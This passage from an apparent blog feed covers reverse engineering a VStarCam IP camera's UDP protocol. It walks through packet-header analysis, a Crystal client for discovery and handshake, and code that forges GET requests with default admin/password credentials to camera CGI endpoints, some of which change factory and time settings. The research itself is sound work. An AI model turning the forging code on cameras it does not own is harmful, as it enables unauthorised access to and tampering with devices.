I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd1\x00\x06\xd1\x00\x00\x01\x00\x00
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd0\x00\x48\xd1\x00\x00\x00\x01\x0a\xa0\x60\x3c\x00\x00\x01\x72\x65\x73\x75\x6c\x74\x3d\x20\x30\x3b\x0d\x0a\x76\x61\x72\x20\x63\x75\x72\x72\x65\x6e\x74\x5f\x75\x73\x65\x72\x73\x3d\x31\x3b\x0d\x0a\x76\x61\x72\x20\x6d\x61\x78\x5f\x73\x75\x70\x70\x6f\x72\x74\x5f\x75\x73\x65\x72\x73\x3d\x34\x3b\x0d\x0a
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:31 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:32 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:32 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent replay packet
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd1\x00\x06\xd1\x00\x00\x01\x00\x00
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong</code></pre>
<p>The first replay works fine, but the second one doesn&#39;t produce results, but does produce the failure acknowledgement. Maybe the acknowledgment packet signifies that the is formatted correctly, but won&#39;t give the results if the values aren&#39;t 100% correct. My guess would be that the bytes that control size are fine, but the bytes that control order are not.</p>
<p>Let&#39;s move on to deciphering these two mysteries.</p>
<h2>Figuring out the header</h2>
<p>The first big mystery we want to solve is the header, how it&#39;s made, and what we can do with it. To do this,we will open up Android Studio with the Eye4 app and do a full capture, from logging into the device, to changing all the settings in the client.</p>
<p>Here are some examples, I pulled them all in order from when the were received. I also do a little number analysis on it and print out the result.</p>
<pre class="code-block"><code>CHECK_USERS_HEADER = &quot;\xf1\xd0\x00\x68\xd1\x00\x00\x00&quot;
CHECK_USERS_REQUEST_HEADER = &quot;\x01\x0a\x00\x00\x5c\x00\x00\x00&quot;
CHECK_USERS_REQUEST = &quot;GET /check_user.cgi?name=123456789&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_REPLAY =  CHECK_USERS_HEADER + CHECK_USERS_REQUEST_HEADER + CHECK_USERS_REQUEST

CONGLOMERATE_HEADER = &quot;\xf1\xd0\x01\xb9\xd1\x00\x00\x01&quot;
CONGLOMERATE_REQUEST1_HEADER = &quot;\x01\x0a\x00\x00\x51\x00\x00\x00&quot;
CONGLOMERATE_REQUEST1 = &quot;GET /snapshot.cgi?res=1&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CONGLOMERATE_REQUEST2_HEADER = &quot;\x01\x0a\x00\x00\x4c\x00\x00\x00&quot;
CONGLOMERATE_REQUEST2 = &quot;GET /get_status.cgi?loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REQUEST3_HEADER = &quot;\x01\x0a\x00\x00\x53\x00\x00\x00&quot;
CONGLOMERATE_REQUEST3 = &quot;GET /get_factory_param.cgi?loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REQUEST4_HEADER = &quot;\x01\x0a\x00\x00\x4c\x00\x00\x00&quot;
CONGLOMERATE_REQUEST4 = &quot;GET /get_params.cgi?loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REQUEST5_HEADER = &quot;\x01\x0a\x00\x00\x51\x00\x00\x00&quot;
CONGLOMERATE_REQUEST5 = &quot;GET /snapshot.cgi?&amp;res=1&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REPLAY = CONGLOMERATE_HEADER + CONGLOMERATE_REQUEST1_HEADER + CONGLOMERATE_REQUEST1 + CONGLOMERATE_REQUEST2_HEADER + CONGLOMERATE_REQUEST2 +
                      CONGLOMERATE_REQUEST3_HEADER + CONGLOMERATE_REQUEST3 + CONGLOMERATE_REQUEST4_HEADER + CONGLOMERATE_REQUEST4 + CONGLOMERATE_REQUEST5_HEADER + CONGLOMERATE_REQUEST5

SET_FACTORY_HEADER = &quot;\xf1\xd0\x00\x7e\xd1\x00\x00\x02&quot;
SET_FACTORY_REQUEST_HEADER = &quot;\x01\x0a\x00\x00\x72\x00\x00\x00&quot;
SET_FACTORY_REQUEST = &quot;GET /set_factory_param.cgi?alarm_server=push.eye4.cn/VSTC&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
SET_FACTORY_REPLAY = SET_FACTORY_HEADER + SET_FACTORY_REQUEST_HEADER + SET_FACTORY_REQUEST

SET_DATETIME_HEADER = &quot;\xf1\xd0\x00\x99\xd1\x00\x00\x03&quot;
SET_DATETIME_REQUEST_HEADER = &quot;\x01\x0a\x00\x00\x8d\x00\x00\x00&quot;
SET_DATETIME_REQUEST = &quot;GET /set_datetime.cgi?tz=28800&amp;ntp_enable=1&amp;ntp_svr=time.windows.com&amp;now=1551842107&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
SET_DATETIME_REPLAY = SET_DATETIME_HEADER + SET_DATETIME_REQUEST_HEADER + SET_DATETIME_REQUEST

puts &quot;CHECK_USERS_REPLAY BREAKDOWN&quot;
puts &quot;    REQUEST LENGTH = D:#{CHECK_USERS_REQUEST.size} | H:0x#{CHECK_USERS_REQUEST.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{CHECK_USERS_REPLAY.size} | H:0x#{CHECK_USERS_REPLAY.size.to_s(16)}&quot;
puts
puts &quot;CONGLOMERATE_REPLAY BREAKDOWN&quot;
puts &quot;    REQUEST1 LENGTH = D:#{CONGLOMERATE_REQUEST1.size} | H:0x#{CONGLOMERATE_REQUEST1.size.to_s(16)}&quot;
puts &quot;    REQUEST2 LENGTH = D:#{CONGLOMERATE_REQUEST2.size} | H:0x#{CONGLOMERATE_REQUEST2.size.to_s(16)}&quot;
puts &quot;    REQUEST3 LENGTH = D:#{CONGLOMERATE_REQUEST3.size} | H:0x#{CONGLOMERATE_REQUEST3.size.to_s(16)}&quot;
puts &quot;    REQUEST4 LENGTH = D:#{CONGLOMERATE_REQUEST4.size} | H:0x#{CONGLOMERATE_REQUEST4.size.to_s(16)}&quot;
puts &quot;    REQUEST5 LENGTH = D:#{CONGLOMERATE_REQUEST5.size} | H:0x#{CONGLOMERATE_REQUEST5.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{CONGLOMERATE_REPLAY.size} | H:0x#{CONGLOMERATE_REPLAY.size.to_s(16)}&quot;
puts
puts &quot;SET_FACTORY_REPLAY BREAKDOWN&quot;
puts &quot;    REQUEST LENGTH = D:#{SET_FACTORY_REQUEST.size} | H:0x#{SET_FACTORY_REQUEST.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{SET_FACTORY_REPLAY.size} | H:0x#{SET_FACTORY_REPLAY.size.to_s(16)}&quot;
puts
puts &quot;SET_DATETIME_REPLAY BREAKDOWN &quot;
puts &quot;    REQUEST LENGTH = D:#{SET_DATETIME_REQUEST.size} | H:0x#{SET_DATETIME_REQUEST.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{SET_DATETIME_REPLAY.size} | H:0x#{SET_DATETIME_REPLAY.size.to_s(16)}&quot;</code></pre>
<pre class="code-block"><code>CHECK_USERS_REPLAY BREAKDOWN
    REQUEST LENGTH = D:92 | H:0x5c
    PACKET LENGTH = D:108 | H:0x6c

CONGLOMERATE_REPLAY BREAKDOWN
    REQUEST1 LENGTH = D:81 | H:0x51
    REQUEST2 LENGTH = D:76 | H:0x4c
    REQUEST3 LENGTH = D:83 | H:0x53
    REQUEST4 LENGTH = D:76 | H:0x4c
    REQUEST5 LENGTH = D:81 | H:0x51
    PACKET LENGTH = D:445 | H:0x1bd

SET_FACTORY_REPLAY BREAKDOWN
    REQUEST LENGTH = D:114 | H:0x72
    PACKET LENGTH = D:130 | H:0x82

SET_DATETIME_REPLAY BREAKDOWN
    REQUEST LENGTH = D:141 | H:0x8d
    PACKET LENGTH = D:157 | H:0x9d
[Done] exited with code=0 in 0.663 seconds</code></pre>
<p>When writing this test, I noticed that the 8 byte segments were very similar to the other 8 byte segments, so I wanted to break them up, because I was sure it was significant.</p>
<p>We want to take a look at the hex numbers and start comparing them to numbers in the header. We see, for example, that CHECK_USER_REQUEST length is 0x5c, which we can also see in the CHECK_USER_REQUEST_HEADER in byte[4].  We can see this in every request header.</p>
<p>Another interesting thing we can notice is that the CHECK_USERS_HEADER has a byte, very close to 0x5c, in fact, only 0x4 off. If we go through the other packets (except for the conglomerate one), we see this is the case every time.</p>
<p>Taking a look at the conglomerate packet confirms our suspicion that the 8 bytes right before the GET request is tied to the request itself. We can also see that the top 8 byte header contains 0x1b9 which is 0x4 off the total length 0x1bd. We can also see the request headers match up with the total bytes in each separate request. We also can see the top header&#39;s byte length is a 2 byte big endian integer, so we will need to plan for that.</p>
<p>Each of those packets were taken sequentially, in order, from the capture. We can see the last most byte in each of the headers denotes what packet order it&#39;s on. We will need to keep track of the number of requests we send.</p>
<p>Ultimately, this all means that we can forge requests, all we need is the GET request length, and the number of GET requests the client has sent.</p>
<pre class="code-block"><code>USER = &quot;admin&quot;
PASS = &quot;password&quot;
LOGIN_PARAMS = &quot;&amp;loginuse=#{USER}&amp;loginpas=#{PASS}&amp;user=#{USER}&amp;pwd=#{PASS}&quot;
@requests_sent = 0

def make_udp_header(get_request)
  &quot;\xf1\xd0#{String.new(Bytes[get_request.size + 0xc]).rjust(2, &quot;\x00&quot;[0])}\xd1\x00#{String.new(Bytes[@requests_sent]).rjust(2, &quot;\x00&quot;[0])}&quot;
end

def make_get_request_header(get_request)
  &quot;\x01\x0a\x00#{String.new(Bytes[get_request.size]).rjust(2, &quot;\x00&quot;[0])}\x00\x00\x00&quot;
end

def send_udp_get_request(cgi : String, **params)
  param_string = params.keys.map{|param_name|&quot;#{param_name}=#{params[param_name]}&quot;}.join(&#39;&amp;&#39;)
  get_request = &quot;GET /#{cgi}.cgi?#{param_string}#{LOGIN_PARAMS}&quot;
  header = make_udp_header(get_request)
  request_header = make_get_request_header(get_request)
  data_sock.send(header + request_header + get_request, target)
  @requests_sent += 1
  LOG.info &quot;SENT #{get_request}&quot;
end</code></pre>
<h2>Forging Requests</h2>
<p>Forging our own packets now seems pretty plausible, let&#39;s give it a try.</p>
<pre class="code-block"><code>require &quot;./client&quot;

client = Client.new
client.run
# Wait until main phase
until client.state == :main_phase
  sleep 0.1
end

client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
sleep 5
client.close</code></pre>
<p>This code will not only test if we can forge the first packet, but also the subsequent ones. Checking the Wireshark with a special filter shows the success * <code>frame contains GET || frame contains F1:D1:00  || frame contains F1:D0:00</code></p>
<center>
<img src="/images/vstarcam/wireshark/7.png" style="width: 100%; height: 100%;">
</center>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
    <li><strong>Static Analysis</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Auditing source code and binary assets to detect software flaws, security anti-patterns, and compliance issues. [<a href="https://cwe.mitre.org">Cwe</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[VStarCam - Investigational Journey] Writing a Client</title>
      <link>https://sol.vin/vstarcam_journey/4.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/4.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Crystal</category>
      <category domain="skill-slug">crystal</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>Crystal</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/wireshark/1.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/2.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/wireshark/1.png" />
      <description><![CDATA[<p>Now that we have learned some interesting things about the communications, let&#39;s see if we can write our own suite of tools to work with the camera.</p>
<p>Before we start, I&#39;ll be using the wonderful programming language from the boys over at Crystal. It&#39;s a very fast, statically typed language, with very zen and down to Earth syntax. The meta-programming aspect of the language is very cool!</p>
<p>First thing we should do is talk about design.</p>
<p>From what we can see right now the camera and client go through different states, things like sending the DBP, waiting for the BPA, that sort of thing. As such, we will want to make a simple state machine. Here is the basic outline of the functionality we need.</p>
<pre class="code-block"><code>class Client
  STATES = [:nothing,
            :send_dbp,
            :wait_for_dbr,
            :send_bcp,
            :handle_bp_handshake,
            :main_phase,
            :closing,
            :closed]
  getter state : Symbol = :nothing

  # Change the state of the client.
  def change_state(state)
    @state = state
    LOG.info &quot;Changing to #{@state}&quot;
    tick # rerun the tick since the state immediately changed and there is new stuff to do.
  end
end</code></pre>
<p>The idea is that whenever we change the state of our client, we are moving to the next phase of communication.</p>
<p>Next big thing we need to talk about are Fibers. If you are unfamiliar with them, I would suggest reading <a href="https://crystal-lang.org/reference/guides/concurrency.html">this article</a>.</p>
<p>We have two main tasks, we need to have a <strong>Data Loop</strong>, which will take data in from ports (depending on the state of the client, choose which port to use), and then take that data and shovel it off into a <a href="https://crystal-lang.org/api/0.27.2/Channel.html">channel</a>. Then we will have the <strong>Tick Loop</strong>, which will run the decisions to be made on the incoming data.</p>
<h2>Starting the client</h2>
<p>One of the first things we want to be able to do is start the client, and have it &quot;idle&quot; while waiting for connections.</p>
<pre class="code-block"><code># Sets up the client by binding the udp sockets to addresses and ports
  def setup
    # Don&#39;t resetup the client if its is_running
    if !is_running?
      LOG.info(&quot;Opening ports&quot;)
      # Our socket for sending UDP data to the camera
      @data_sock.bind DATA_SOCK_SRC
      # Super important to enable this or else we can&#39;t broadcast to 255.255.255.255!
      @data_sock.setsockopt LibC::SO_BROADCAST, 1
      # Our socket for sending discovery broadcasts.
      @db_sock.bind DB_SOCK_SRC
      @db_sock.setsockopt LibC::SO_BROADCAST, 1

      LOG.info(&quot;Ports opened&quot;)
      return
    else
      LOG.error &quot;CANNOT SETUP CLIENT WHILE IT IS RUNNING!&quot;
      raise &quot;CANNOT SETUP CLIENT WHILE IT IS RUNNING!&quot;
    end
  end

  def run
    # Dont allow the client to run again!
    if !is_running?
      @is_running = true
      # Change the state so it will attempt to discover a camera on the network
      @state = :send_dbp
      #Start our fibers
      start_data_fiber
      start_tick_fiber
    else
      LOG.error &quot;ALREADY RUNNING CLIENT!&quot;
    end
  end</code></pre>
<p>The main idea is that we set up the client, making a variable that will track if it&#39;s running or not. It also sets up the ports we need to communicate our discovery broadcast, as well as the UDP data socket. We also have a method run which will stop the method if it is already running, change the state to the first phase, then start our fibers for data and tick.</p>
<h2>Fiber Design</h2>
<pre class="code-block"><code># Channel that will communicate data back to the tick fiber
  @data_channel = Channel(Tuple(String, Socket::IPAddress)).new

  # Fiber which deals with incoming packet data, holds this data temporarily and then sends the data via @data_channel to the tick fiber.
  @data_fiber : Fiber = spawn {}

  # Fiber which handles the decision process of handling the state of the client. Recieves incoming data  from data_channel and processes it
  @tick_fiber : Fiber = spawn {}</code></pre>
<p>Then we want to write our two &quot;start fiber&quot; methods. We reassign the fiber variable for the action, trap any exceptions and rescue them out (specifically for the case of the ports shutting down while sending data), create a while loop with is_running? as a condition, and then fill in the meat of the fibers.</p>
<p>Data fiber will block on the data socket, then transfer any data received to the  channel.</p>
<p>Tick fiber will run the update tick continually until the client is no longer running.</p>
<pre class="code-block"><code># Start the fiber which blocks for incoming data, then forwards it to a channel.
def start_data_fiber
  @data_fiber = spawn do
    begin
      # Only run this fiber while is_running, if not exit
      while is_running?
        # Will block execution
        packet = data_sock.receive
        @data_channel.send(packet)
      end
    rescue e
      LOG.info &quot;DATA EXCEPTION #{e}&quot;
    end
  end
end

# Start the fiber which contains the tick logic.
def start_tick_fiber
  @tick_fiber = spawn do
    begin
      # Only run this fiber while is_running, if not exit
      while is_running?
        tick
      end
    rescue e
      LOG.info &quot;TICK EXCEPTION #{e}&quot;
    end
  end
end</code></pre>
<h2>Closing the client</h2>
<p>When the data fiber is blocked, there is no way to &quot;kill&quot; the fiber when we want the program to exit. Instead, we need to simulate some data into the socket, freeing the fiber to execute and close itself.</p>
<p>First we turn @is_running to false, then send the &quot;unblock fiber data&quot; into the data socket. We then use a Fiber.yield to give control back to the data fiber. While we can&#39;t give control back directly to the data fiber, we know that the tick fiber will most likely be blocked and the data fiber will get it&#39;s turn.</p>
<p>We then close the sockets, change_state to closing, and set the target camera back to 0.</p>
<pre class="code-block"><code>UNBLOCK_FIBER_DATA = &quot;e127e855-36d2-43f1-82c0-95f2ba5fe800&quot;
def close
  LOG.info(&quot;Closing client&quot;)
  @is_running = false
  change_state(:closing)

  # This line unblocks the @data_fiber
  @data_sock.send(UNBLOCK_FIBER_DATA, Socket::IPAddress.new(&quot;127.0.0.1&quot;, DATA_SOCK_SRC.port))

  # Force a fiber change to go to the other fibers to end them
  Fiber.yield

  # Now we can close the sockets
  @data_sock.close
  @db_sock.close

  # Reset the target_camera
  new_target &quot;0.0.0.0&quot;, 0
  change_state(:closed)
  LOG.info(&quot;Closed client&quot;)
end</code></pre>
<h2>Tick Layout</h2>
<p>In the tick method, we want to layout a basic pattern of transitions for the client.</p>
<pre class="code-block"><code># Main decision making function
def tick
  if state == :nothing
    # Do nothing
  elsif state == :send_dbp
    send_dbp
    change_state :wait_for_dbr
  elsif state == :wait_for_dbr
    info = wait_for_dbr
    if info
      @target_info = info
      change_state :send_bcp
    else
      change_state :send_dbp
    end
  elsif state == :send_bcp
    send_bcp
    change_state :handle_bp_handshake
  elsif state == :handle_bp_handshake
    handle_bp_handshake

    if has_target?
      change_state :main_phase
    else
      change_state :send_dbp
    end
  elsif state == :main_phase
    # Do ping pong, etc in here
    main_phase
  else
    raise &quot;THERE WAS A BAD IN TICK!&quot;
  end
end</code></pre>
<h2>DBP and DBR</h2>
<p>We need to send our DBP, so we can start to discover cameras. This process is fairly straight forward.</p>
<pre class="code-block"><code># Source address for the discovery packet
DB_SOCK_SRC = Socket::IPAddress.new(&quot;0.0.0.0&quot;, 6801)

# Destination address for the discovery packet
DB_SOCK_DST = Socket::IPAddress.new(&quot;255.255.255.255&quot;, 8600)

# Discovery packet data
DBP = &quot;\x44\x48\x01\x01&quot;

# Send the DBP to the camera
def send_dbp
  LOG.info(&quot;Sending DBP&quot;)
  db_sock.send(DBP, DBP_SOCK_DST)
  LOG.info(&quot;Sent DBP&quot;)
end</code></pre>
<p>After sending we want to wait until the camera responds with the DBR. We also want to parse some of the data coming in, as it has some juicy info we might want to reference later.</p>
<pre class="code-block"><code># Size of the discovery packet reply
DBR_SIZE = 570

# Regex to check if a packet is a DBR
DBR_REGEX = /^DH/

# Wait for the DBR to come back from the camera.
def wait_for_dbr : Hash(Symbol, String)?
  LOG.info(&quot;Waiting for DBR&quot;)
  packet = db_sock.receive
  if packet
    if check_dbr(packet)
      info = parse_dbr(packet)
      LOG.info(&quot;DBR RECEIVED FROM #{info[:camera_ip]}, UID: #{info[:uid]}&quot;)
      return info
    else
      LOG.info(&quot;BAD/NON DBR RECEIVED! #{packet[0].bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;)
    end
  else
    LOG.info(&quot;NO DBR RECEIVED!&quot;)
  end
  return nil
end

# Check if the packet we recieved was a DBR
def check_dbr(packet) : Bool
  !!(packet[0] =~ DBR_REGEX)
end

# Parse the DBR information into a hash
def parse_dbr(packet) : Hash(Symbol, String)
  data = packet[0]
  connection = packet[1]

  result = {} of Symbol =&gt; String
  result[:camera_ip] = data[4..19].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:netmask] = data[20..35].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:gateway] = data[36..51].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:dns_server1] = data[52..67].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:dns_server2] = data[68..83].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:mac_address] = (data[84..88].bytes.map {|b| b.to_s(16).rjust(2, &#39;0&#39;).upcase}).join
  result[:http_port] = ((data.bytes[91].to_i32 &lt;&lt; 8) + data.bytes[90].to_i32).to_s
  result[:uid] = data[91..105]
  LOG.info(&quot;Parsed new target camera #{result}&quot;)
  result
end</code></pre>
<h2>BCP and BPR</h2>
<p>We then want to send a BCP to broadcast now that the DPR has been resolved.</p>
<pre class="code-block"><code># Destination address for the f130 broadcast packet
BC_SOCK_DST = Socket::IPAddress.new(&quot;255.255.255.255&quot;, 32108)
# F130 broadcast packet data
BCP = &quot;\xf1\x30\x00\x00&quot;
# Send the magic f130 broadcast packet
def send_bcp
  data_sock.send(BCP, BC_SOCK_DST)
end</code></pre>
<p>We now need to handle the handshake, which consists of broadcasting a BCP and waiting for a BPS, then replying back with a BPS, and then receiving a BPA.</p>
<pre class="code-block"><code># F130 broadcast packet reply header
BPR_HEADER = &quot;\xf1\x42\x00\x14&quot;

# Fixed BPR size
BPR_SIZE = 24

# Character sent for &quot;SYN&quot;
BP_SYN = &#39;A&#39;

# Character sent for &quot;ACK&quot;
BP_ACK = &#39;B&#39;

# Complete the handshake using BPS
def handle_bp_handshake
  LOG.info(&quot;Waiting for BPS&quot;)
  packet = @data_channel.receive #BPR size is always fixed
  LOG.info(&quot;Recieved a packet&quot;)
  if packet
    data = packet[0]  # Contains the packet data
    camera_ip = packet[1] # Connection info to connect back into the camera
    LOG.info(&quot;Recieved a potential BPS from #{camera_ip}&quot;)
    # Check if out BPR is actually a BPR
    if data[1] == BP_SYN
      LOG.info(&quot;BPS Verified!&quot;)
    else
      LOG.info(&quot;BPS BAD! #{&quot;\\x&quot; + data.bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;)
      return
    end
    # Echo back packet data back
    LOG.info(&quot;Waiting for BPA&quot;)
    data_sock.send(data, camera_ip)
    # Recv the BPR ACK packet
    packet = @data_channel.receive
    if packet
      LOG.info(&quot;Recieved potential BPA?&quot;)
      data = packet[0]
      camera_ip = packet[1]
      if data[1] == BP_ACK
        LOG.info(&quot;BPA Verified! Handshake successful!&quot;)
        # set the target camera to the current connection
        new_target camera_ip
      else
        LOG.info(&quot;BPA BAD! #{data.bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;)
      end
    end
  end
end</code></pre>
<h2>Main Phase</h2>
<p>Now we need to handle the ping pong packets! This is super simple now that we have finished the hard part.</p>
<pre class="code-block"><code># Packet that must be sent between the camera and the client at least once every 11 packets
PING_PACKET = &quot;\xf1\xe0\x00\x00&quot;
# Packet that must be sent between the camera and the client at least once every 11 packets
PONG_PACKET = &quot;\xf1\xe1\x00\x00&quot;

def main_phase
  # Block here to recieve data from the data fiber
  data = @data_channel.receive

  # Classify each packet and respond
  if data[0] == PING_PACKET
    send_pong
    LOG.info &quot;Sent Pong&quot;
  elsif data[0] == PONG_PACKET
    send_ping
    LOG.info &quot;Sent Ping&quot;
  # This is important! The data fiber will block, waiting for data to come through
  # So to exit the program, we just send the unblock data to the data socket to free it
  elsif data[0][0..3] == BPA_HEADER
    LOG.info &quot;Receive extra BPA&quot;
  elsif data[0] == UNBLOCK_FIBER_DATA
    LOG.info &quot;RECEIVED UNBLOCK FIBER COMMAND!&quot;
  else
    LOG.info &quot;UNKNOWN PACKET RECEIVED from #{data[1]} : #{data[0].bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;
  end
end

def send_ping
  data_sock.send(PING_PACKET, target)
end

def send_pong
  data_sock.send(PONG_PACKET, target)
end</code></pre>
<h2>Testing</h2>
<p>If we open up Wireshark and listen in to the connection, we should see that pings and pongs should coming through, and there should be no errors. Also the LOG should show that there were no errors as well.</p>
<p>Here&#39;s the code I used to run it.</p>
<pre class="code-block"><code>require &quot;./client&quot;

client = Client.new
client.run
sleep 5
client.close</code></pre>
<center>
<img src="/images/vstarcam/wireshark/1.png" style="width: 100%; height: 100%;">
</center>
<p>In the screenshot, we can see no errors or unexpected output. We get some destination unreachable errors at the end because that&#39;s when the server shutdown.</p>
<pre class="code-block"><code>I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Opening ports
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Ports opened
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Sending DBP
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Sent DBP
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to wait_for_dbr
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for DBR
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Parsed new target camera {:camera_ip =&gt; &quot;192.168.11.140&quot;, :netmask =&gt; &quot;255.255.255.0&quot;, :gateway =&gt; &quot;192.168.11.1&quot;, :dns_server1 =&gt; &quot;8.8.8.8&quot;, :dns_server2 =&gt; &quot;192.168.11.1&quot;, :mac_address =&gt; &quot;48022A0BDBB4&quot;, :http_port =&gt; &quot;11481&quot;, :uid =&gt; &quot;VSTB668515UZCPK&quot;}
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : DBR RECEIVED FROM 192.168.11.140, UID: VSTB668515UZCPK
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to send_bcp
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to handle_bp_handshake
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for BPS
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved a packet
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved a potential BPS from 192.168.11.140:10560
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : BPS Verified!
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved potential BPA?
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : BPA Verified! Handshake successful!
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to main_phase
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:37 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:37 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:38 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:39 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:40 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Closing client
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Changing to closing
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Changing to closed
